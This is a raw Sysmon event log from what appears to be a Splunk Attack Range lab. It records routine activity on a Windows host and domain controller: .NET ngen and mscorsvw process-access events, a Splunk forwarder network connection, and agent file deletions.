14:44:50.019{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F62-613B-6A09-00000000F001}1924C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 354300x800000000000000013962Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:50.428{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50121-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000013961Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:51.645{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-030MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013960Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:51.345{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2EF3FC029FA7C8AAAA1CB096FC80F82C,SHA256=7AA479F7028F887AF24F7BED7D64A91DAB2878FECD45A23A7F250FC265D6BB39,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044491Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.984{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F63-613B-8509-00000000F001}7164C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044490Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.984{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F63-613B-8509-00000000F001}7164C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044489Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.941{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F63-613B-8409-00000000F001}6316C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044488Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.931{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F63-613B-8409-00000000F001}6316C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044487Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.931{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F63-613B-8409-00000000F001}6316C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044486Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.861{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F63-613B-8309-00000000F001}2244C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044485Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.851{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F63-613B-8309-00000000F001}2244C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044484Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.851{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F63-613B-8309-00000000F001}2244C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000044483Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.811{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=1A0EE3DA9F194E0DECA14F59A50E68DD,SHA256=2D756AFE0F072A409199E806FB6B070D972A4D048C0A183D8F0D44AB400E05E1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044482Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.761{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F63-613B-8209-00000000F001}6288C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044481Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.741{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F63-613B-8209-00000000F001}6288C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044480Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.741{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F63-613B-8209-00000000F001}6288C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044479Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.711{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F63-613B-8109-00000000F001}1504C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044478Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.691{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F63-613B-8109-00000000F001}1504C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044477Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.691{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F63-613B-8109-00000000F001}1504C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044476Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.641{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F63-613B-8009-00000000F001}6216C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044475Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.621{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F63-613B-8009-00000000F001}6216C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044474Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.621{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F63-613B-8009-00000000F001}6216C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044473Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.591{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F63-613B-7F09-00000000F001}4872C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044472Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.571{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F63-613B-7F09-00000000F001}4872C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044471Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.571{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F63-613B-7F09-00000000F001}4872C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 